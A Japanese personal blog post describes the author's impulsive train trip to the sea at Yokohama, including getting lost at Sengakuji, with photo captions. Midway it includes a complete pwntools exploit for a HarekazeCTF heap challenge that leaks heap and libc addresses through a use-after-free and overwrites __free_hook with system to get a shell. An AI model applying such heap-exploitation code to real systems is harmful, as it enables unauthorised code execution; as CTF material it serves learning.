サンタ来なかったけど Link to this heading

もう怒った!!!!!!!! 今年、ずっと都内から出てない!!!!!!! もっと言うと、大学があるエリアと髪切りに行くエリア以外行ってない!!!!!!! おうち飽きた!!!!!!!

思い立ったら即行動。

30 分後には電車の中にいました。 改札の前に来て気づいたけど、PASMO を忘れました。財布とイヤホンとケータイだけ持ってきました。数億年ぶりにきっぷを買いました。 そして電車に乗って思い出したけど、僕、地図読めない…。 地図が読めないどころか路線案内みたいなやつも読めません。アプリ使ってそのとおりに行こうと思っても、大体迷ってしまう。 しかし今日は一味違う。予め TSG slack で海に行くと宣言してから行くことで、詳しい人に道案内してもらうことができる!!! 実際行く場所も乗る電車も教えてもらいました。

乗るホームを間違えたのが 2 回と、ホームはあってたけど方向を間違えたのを 1 回と、完全に合ってたけど特急じゃなくて各駅に乗ってしまうのを 2 回やったくらいで、あとは割とスムーズに行きました。

しかし、魔の泉岳寺 で大分迷ってしまいました。というのも、この泉岳寺は電車を降りてホームに乗った瞬間、同じホームの反対側に別の列車がとまっていて、乗客はほぼ全員そっちに乗り換えるという現象が発生します。僕は恐らくこの電車ではないだろうと確信していましたが、でも東京人が皆こっちに乗るのでそっちに乗りました。案の定、列車は今来た道を反対に遡っていきました。流石に違うと思いもう一度逆方向に乗って泉岳寺に行くと、なんとまたホームに同じ列車がとまっていて全員そっちに乗り換えるという現象が!!! これを2,3回繰り返して 1 時間くらいでなんだかとても怖くなったので、一旦ベンチに座ってみると、人混みが収まったくらいで目的の路線への道案内が見えてきました。よかった〜〜〜。

海! Link to this heading

なんやかんや横浜につきました!!海!!!海!!!!まりん!!!

いや〜〜〜〜〜〜〜〜〜〜、1 年以上触れていなかった自然。故郷に帰ってきた気分。故郷は思いっきり山だからやっぱり嘘。

これはブルーアワーっぽい時間帯の写真。


コレは砂浜の写真。水平線を見たくて来たけど、湾だと見れないって初めて知ったので次に期待。


これは魔法世界に行きそうな電車の写真。


これは結構好きな木に囲まれた道。


これは昨日やってたHarekazeCTFの pwn の exploit:

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "./safenote"
  8LIBCNAME = "./libc.so.6"
  9
 10hosts = ("20.48.83.103","localhost","localhost")
 11ports = (20004,12300,23947)
 12rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 13rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 14rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 15context(os='linux',arch='amd64')
 16binf = ELF(FILENAME)
 17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 18
 19
 20## utilities #########################################
 21
 22ents = [None for i in range(7)]
 23
 24def hoge(ix):
 25  global c
 26  c.recvuntil("> ")
 27  c.sendline(str(ix))
 28
 29def _alloc(ix, sz, data):
 30  global c, ents
 31  assert(ix<7 and sz<=0x70)
 32  hoge(1)
 33  c.recvuntil("Index: ")
 34  c.sendline(str(ix))
 35  c.recvuntil("Size: ")
 36  c.sendline(str(sz))
 37  c.recvuntil("Content: ")
 38  if len(data)<sz:
 39    data += b"\n"
 40  c.send(data)
 41  ents[ix] = data
 42
 43def _show(ix):
 44  global c, ents
 45  assert(ix<7 and ents[ix]!=None)
 46  hoge(2)
 47  c.recvuntil("Index: ")
 48  c.sendline(str(ix))
 49  return c.recvline().rstrip()
 50
 51def _copy(srcix, dstix):
 52  global c, ents
 53  assert(srcix<7 and dstix<7 and ents[srcix]!=None)
 54  hoge(4)
 55  c.recvuntil("Index (src): ")
 56  c.sendline(str(srcix))
 57  c.recvuntil("Index (dest): ")
 58  c.sendline(str(dstix))
 59  assert("No enough" not in c.recvline())
 60  ents[dstix] = ents[srcix]
 61
 62def _move(srcix, dstix, fq=False):
 63  global c, ents
 64  assert(srcix<7 and dstix<7 and ents[srcix]!=None)
 65  hoge(3)
 66  c.recvuntil("Index (src): ")
 67  c.sendline(str(srcix))
 68  c.recvuntil("Index (dest): ")
 69  c.sendline(str(dstix))
 70  if fq:
 71    return
 72  assert("No enough" not in c.recvline())
 73  tmp = ents[srcix]
 74  ents[srcix] = None
 75  ents[dstix] = tmp
 76
 77def check():
 78  print(ents)
 79
 80## exploit ###########################################
 81
 82def decr(Pd):
 83  L = Pd >> 36
 84  for i in range(3):
 85    temp = (Pd >> (36-(i+1)*8)) & 0xff
 86    element = ((L>>4) ^ temp) & 0xff
 87    L = (L<<8) + element
 88  return L
 89
 90def enc(chunk_itself_addr, target_addr):
 91  return (chunk_itself_addr>>12) ^ target_addr
 92
 93def exploit():
 94  global c
 95
 96  _alloc(0, 0x50, "A"*0x40) # なんとなく
 97  _alloc(1, 0x50, "B"*0x40) # 色々操作
 98  _alloc(2, 0x50, "D"*0x40) # victim
 99  _alloc(3, 0x50, "C"*0x40) # ずっとtcacheに繋げとく用
100  _move(3, 4)
101  check()
102  _move(1, 1) # UAF#1
103  lk = unpack(_show(1).ljust(8,'\x00'))
104  heapbase = decr(lk) << 12
105  print("[!] leak: "+hex(lk))
106  print("[+] decrypted L: "+hex(decr(lk)))
107  print("[+] heapbase: "+hex(heapbase))
108
109  # unsortedの生成
110
111  ## ファンデーション
112  _alloc(6, 0x10, "E"*0x8)
113  _alloc(6, 0x70, "G"*0x60) # あとでleakする用
114  for i in range(0x9):
115    if i == 4:
116      _alloc(3, 0x20, p64(0x21)*(0x20/0x8-1))
117      _alloc(3, 0x40, p64(0x21)*(0x40/0x8-1))
118    _alloc(4, 0x70, p64(0x21)*(0x70/0x8-1))
119
120  ## 本ちゃん
121  _alloc(1, 0x50, "B"*0x40)
122  _alloc(5, 0x48, p64(enc(heapbase+0x2f0, heapbase+0x2f0+0x60)) + p64(0)) # copy用
123  _move(1,1)  # UAF [0x60] -> #1 -> #2
124  _copy(5, 1) # fd書き換え
125  _alloc(1, 0x50, "X"*0x30)
126  pay = b""
127  pay += p64(0) + p64(0x421)
128  _alloc(1, 0x50, pay) # overlapped chunkの生成 [0x60] -> #2
129  _move(2, 0) # fake chunk(0x421)をfree. unsorted 生成
130
131  _alloc(5, 0x30, "X")
132  _alloc(5, 0x30, "X")
133  _alloc(5, 0x30, "X")
134  _alloc(5, 0x30, "X")
135  _alloc(5, 0x30, "X")
136  _alloc(5, 0x30, "X")
137  _alloc(5, 0x30, "X")
138  _alloc(5, 0x30, "X")
139  _alloc(5, 0x30, "X")
140  _alloc(5, 0x30, "X")
141  _alloc(5, 0x30, "X")
142  _alloc(5, 0x30, "X")
143  _alloc(5, 0x60, "X")
144  _alloc(5, 0x70, "X") # ここでfdが#3と重なる 残りサイズxx
145  _alloc(5, 0x70, "X") # smallbinへ
146
147  lk = unpack(_show(3).ljust(8,'\x00'))
148  libcbase = lk -  0x1e3c20
149  freehook = libcbase + libc.symbols["__free_hook"]
150  _system = libcbase + libc.symbols["system"]
151  print("[!] leaked: "+hex(lk))
152  print("[!] libcbase: "+hex(libcbase))
153
154
155  # overwrite freehook
156  _alloc(3, 0x40, "A")
157  _alloc(4, 0x40, "A")
158  pay = b""
159  pay += p64(enc(heapbase+0xaf0, freehook))
160  assert(len(pay)<=0x40)
161  _alloc(5, 0x40, pay) # copy用
162  _move(4, 3)
163  _move(3, 3)
164  _copy(5, 3) # overwrite [0x50] -> #3 -> free_hook
165  _alloc(1, 0x40, "/bin/sh\x00")
166  _alloc(2, 0x40, p64(_system)) # @freehook
167
168  # NIRUGIRI
169  _move(1, 3, fq=True)
170
171## main ##############################################
172
173if __name__ == "__main__":
174    global c
175
176    if len(sys.argv)>1:
177      if sys.argv[1][0]=="d":
178        cmd = """
179          set follow-fork-mode parent
180        """
181        c = gdb.debug(FILENAME,cmd)
182      elif sys.argv[1][0]=="r":
183        c = remote(rhp1["host"],rhp1["port"])
184      elif sys.argv[1][0]=="v":
185        c = remote(rhp3["host"],rhp3["port"])
186    else:
187        c = remote(rhp2['host'],rhp2['port'])
188    exploit()
189    c.interactive()

お水 Link to this heading

まぁ海にいたのは実質 15 分くらいでした。電車の時間が異常に長い。

よく考えたら朝から何も飲まず喰わずだったので、最後に少しお水を飲んでから帰りました。

ここ一年は、本当におうちに引きこもって、土日でも平日でも全く関係なくパソコンをカタカタやっていたので、一年に一回くらいこういう息抜きも悪くないかなぁと思いました。

参考 Link to this heading